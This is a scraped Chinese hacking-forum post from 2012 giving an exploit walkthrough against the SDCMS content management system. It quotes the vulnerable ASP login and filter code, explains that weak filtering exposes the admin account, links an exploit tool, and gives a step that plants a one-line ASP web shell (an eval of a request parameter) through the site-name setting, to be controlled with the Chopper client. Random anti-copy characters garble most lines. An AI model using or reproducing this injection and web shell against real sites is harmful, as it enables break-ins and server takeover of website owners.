找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3488|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥( t6 n: K# ^0 v5 {
漏洞文件:后台目录/index.asp. ~" W! ~# V. f! U

8 S& ?8 \% Y5 S0 |Sub Check! a9 K! c& a% ?7 B2 j3 @+ V
    Dim username,password,code,getcode,Rs
1 r" o0 A% o7 y5 ], X    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
4 n3 J: z8 `5 _, X. s0 h) \    username=FilterText(Trim(Request.Form("username")),1)
2 s/ Y: I% t- a! ]5 Y+ D    password=FilterText(Trim(Request.Form("password")),1)) j# c1 G0 L9 p! I
    code=Trim(Request.Form("yzm"))! q. o0 g$ t  J, S0 R9 a3 E5 h
    getcode=Session("SDCMSCode")9 S/ F6 Y0 I3 e! S1 C$ w, @
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died: a; e, u" t( g% `6 @
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
* n  d& w/ g1 F) w3 y    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied4 _; K* W- D" F% t5 B( b3 s) S8 z* [
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied1 Z+ l' O; G$ }$ M: p
    IF username="" or password="" Then
& R5 E7 E, B0 }4 U/ C# I$ Z4 S3 k1 t        Echo "用户名或密码不能为空"ied4 u  Z9 f" g9 Q8 w) r
    Else2 x; S* u8 O" o, M
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")" j; m% t+ P# J. c' \/ Y
        IF Rs.Eof Then4 e: q% O8 V; R6 m4 [* \8 C
            AddLog username,GetIp,"登录失败",1! S9 R$ V2 j) I$ P8 Y: }
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"; H4 e( ^7 O( u0 E' [. Y& Z
        Else
; w+ `' }0 n( u/ u' k  O: D$ u            Add_Cookies "sdcms_id",Rs(0)
+ p, W* n( k5 G            Add_Cookies "sdcms_name",username5 O1 q3 S" \9 X# E
            Add_Cookies "sdcms_pwd",Rs(2)
# }4 a& N' @3 @7 E  t            Add_Cookies "sdcms_admin",Rs(3)
- y/ n, a, M4 G, e6 y( M; U8 ^7 A            Add_Cookies "sdcms_alllever",Rs(4)
% w' W5 R1 ?1 M: _4 B  B            Add_Cookies "sdcms_infolever",Rs(5), {, t. g  g- [4 q4 S1 |
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
: I7 k+ X! f* F            AddLog username,GetIp,"登录成功",1
. j0 \5 c! K# C9 u% Q            '自动删除30天前的Log记录4 [7 J( \: M% o9 Q
            IF Sdcms_DataType Then
0 q) O! W( t# Y1 ?                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")' \- O( j8 C. J+ {
            Else
. o% c) i; H0 Z  u& v8 a                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")) O9 ]9 g: S( a8 o8 T0 Y
            End IF
2 `/ T$ U7 ?. |0 l            Go("sdcms_index.asp")+ A9 ~5 k4 S# @- q$ H5 ^3 z
        End IF5 H& r7 M; k( \6 V5 [# D( {# E
        Rs.Close, \4 e( z1 o! l9 T
        Set Rs=Nothing
2 c0 |& L& B, q; w  y8 c# _    End IF) ?! M% n: I: g+ J! V1 T# R# g8 J
End Sub* `7 }5 V  J4 I. }
4 D$ i- u7 V% j! |- D! N/ W
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码) B. u' R- M+ Y  Y
* ], t5 q( b/ y4 b- D5 Q& A" q$ ?
Function FilterText(ByVal t0,ByVal t1)
: A$ [: E% q' b' k: N4 U    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
  C! x8 W4 F3 }( e8 l& U0 A) ?7 ?    t0=Trim(t0)
. D4 z9 _  W0 C    Select Case t1
0 a5 `0 I& O2 N! x, r        Case "1"2 u& U4 v7 t( r$ O
            t0=Replace(t0,Chr(32),""); z9 _: J5 R3 v, A9 w( v, i2 e
            t0=Replace(t0,Chr(13),"")) Z- y6 \9 A& x+ q7 s0 r6 |
            t0=Replace(t0,Chr(10)&Chr(10),"")9 p' V" A- a" q7 b9 G
            t0=Replace(t0,Chr(10),"")0 m  O' @9 z# s0 ]8 C( h& j3 p8 y
        Case "2"
1 d# G& w$ T% R5 z- S$ K& v            t0=Replace(t0,Chr(8),"")'回格. e' n0 V) {' c7 _4 m/ |  K
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) a- Q0 Q; P6 Z: C; O! P8 x            t0=Replace(t0,Chr(10),"")'换行. e+ _6 C! B" ]: g
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
' n; t) A3 r$ Z5 V) A( q$ Q            t0=Replace(t0,Chr(12),"")'换页4 P9 I/ p$ u% G5 f- T0 }
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
! \8 c8 n. q2 {: b; z            t0=Replace(t0,Chr(22),"")
4 @# \7 @! o6 _7 X2 X8 y            t0=Replace(t0,Chr(32),"")'空格 SPACE
$ ~& |2 v% r  k# H4 L6 O            t0=Replace(t0,Chr(33),"")'!
8 l' _6 A# G. r3 @! G            t0=Replace(t0,Chr(34),"")'"/ }$ D# ?9 l4 L$ F8 R: x# M1 Q, R
            t0=Replace(t0,Chr(35),"")'#
. K% e& U0 v: k6 u$ I6 O( T9 h) u            t0=Replace(t0,Chr(36),"")'$% F5 A6 W; W- ]2 N& m
            t0=Replace(t0,Chr(37),"")'%
' ~$ K: t* e% @- i2 t            t0=Replace(t0,Chr(38),"")'&- ~4 K7 _& E) N% }* B- B" E
            t0=Replace(t0,Chr(39),"")''1 L3 T9 P  _6 S& j! z
            t0=Replace(t0,Chr(40),"")'(' s6 [, r$ o; v" t. K
            t0=Replace(t0,Chr(41),"")')
1 n4 ~, ]9 G8 S- l4 `) a4 Y            t0=Replace(t0,Chr(42),"")'*8 i) J! @0 ~1 H, x
            t0=Replace(t0,Chr(43),"")'+
. y+ P  f3 c5 o4 r3 F, ?            t0=Replace(t0,Chr(44),"")',
# g4 V/ \  n* T            t0=Replace(t0,Chr(45),"")'-& J- s1 ]8 l! D) z
            t0=Replace(t0,Chr(46),"")'.
  T# ~8 Z) z: x4 |6 {            t0=Replace(t0,Chr(47),"")'/
' v7 \! k0 c* C            t0=Replace(t0,Chr(58),"")':1 f8 R( T7 y$ {# K
            t0=Replace(t0,Chr(59),"")';
/ ?: |1 Q. }. I* T- ^' Y" A            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>% f' g) D/ o5 O5 J' q% F- Y
            t0=Replace(t0,Chr(63),"")'?
3 N* F( J, G( g, M  o            t0=Replace(t0,Chr(64),"")'@
2 R  ^" t& q$ I5 D- _            t0=Replace(t0,Chr(91),"")'\3 i1 G3 ^7 B% D6 a. b, f! i
            t0=Replace(t0,Chr(92),"")'\
$ O0 T& v( P" i7 l5 f$ g9 w, p5 ]            t0=Replace(t0,Chr(93),"")']% u& r3 _$ h5 o, O0 v
            t0=Replace(t0,Chr(94),"")'^
9 ?5 b6 D7 C/ x# F5 D" h" S9 |. p            t0=Replace(t0,Chr(95),"")'_! R4 o+ k0 q- h8 c! @6 b
            t0=Replace(t0,Chr(96),"")'`, S; \, _$ ~6 S
            t0=Replace(t0,Chr(123),"")'{
! \% {" D& h- }/ K9 i9 j6 H( g            t0=Replace(t0,Chr(124),"")'|
3 K9 [5 q# P4 t5 F$ b            t0=Replace(t0,Chr(125),"")'}% \& c! u( Q' v. Y) H+ G
            t0=Replace(t0,Chr(126),"")'~
* L  ]6 I$ g4 v    Case Else) p/ h4 o5 K$ j0 @: G! q  ?& f
        t0=Replace(t0, "&", "&")
# x& m" R5 n, k: N3 H. @' k' ]- X        t0=Replace(t0, "'", "'")4 k8 n8 p; T4 F) ^" ]
        t0=Replace(t0, """", """)
0 M+ b( Y7 ^2 Z+ A0 U6 m9 p        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")9 t& }* N, J( C
    End Select( w7 z) m: X# Q3 j4 ?  \' u; i0 j/ {
    IF Instr(Lcase(t0),"expression")>0 Then9 e* p( [8 R" m4 e3 c8 Q7 O
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
% W9 ?$ z0 H4 C) O# W    End If* E1 i  l9 Z* E# z" S$ d! ]
    FilterText=t0, L" U1 V; m# j: f
End Function9 I! D, W( A, J( D

) Q# q( k3 `2 Q; G/ `看到没。直接参数是1 只过滤
: B& z" q7 }$ l! Z. `+ w                        t0=Replace(t0,Chr(32)," ")
; U. d# q4 W- Q+ ]- q" H                        t0=Replace(t0,Chr(13),"")2 N1 B3 k% v+ j' Q0 o
                        t0=Replace(t0,Chr(10)&Chr(10),"+ x$ s! c5 b/ i/ e( c' g
")
, b+ a# l( Y8 f% G3 I" i                        t0=Replace(t0,Chr(10),"
7 f4 q1 q$ `0 q/ v: D"), \' x0 O1 ?, N7 k! ^+ B; l4 R% Z
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
; [7 g7 F) J) y% Y- ^EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 ]/ l* v0 F2 ^0 s4 B# ]/ E
( r$ h  Q4 [8 T. y  l0 s测试:
7 L' e, O" g, F& K4 I
( h6 _- @: z8 j, b# j
* r: R, g: l8 e  j8 C, e: e现在输入工具上验证码,然后点OK% d/ R7 g& m, k; ~

; `" p2 v! `  P. k9 G' G  O& E0 _
看到我们直接进入后台管理界面了,呵呵!
8 ?8 e6 k' U) ]9 Q! h* z# y( H. c1 U: I, H/ e6 @  q

; N+ N8 q) f) U% ^; K
9 q6 u* a5 t$ T% D) M这样直接进入后台了。。。。
) v7 k. V. [/ o; y% M
/ q% U7 T: c( h( \" p2 m* v6 S 1 q: S! m# r7 Y' u$ K, u

# j6 b6 r1 W) u  i6 F3 e6 FSDCMS提权:
; a; Y/ i4 O, M" G. M6 m( `9 c5 a: k& W! b+ [: q3 R
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
5 H5 S( h) h9 V& \3 ~( |+ A. p
5 R. ?7 ^8 w3 J4 b1 n( J  g

; m& ]% U% G+ e$ J2 Y. eOK,现在用菜刀连接下!
7 r4 x8 K: m! C0 D2 y6 C* Q; a
- J5 `+ ~- j8 \" t0 e' _1 B/ }; Y5 Z+ u: i
$ W9 I  L4 k5 h; ?0 ?6 H: |

/ V) k* T, e( _  ]9 s' D5 [2 O& |7 l' B2 h8 l: c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表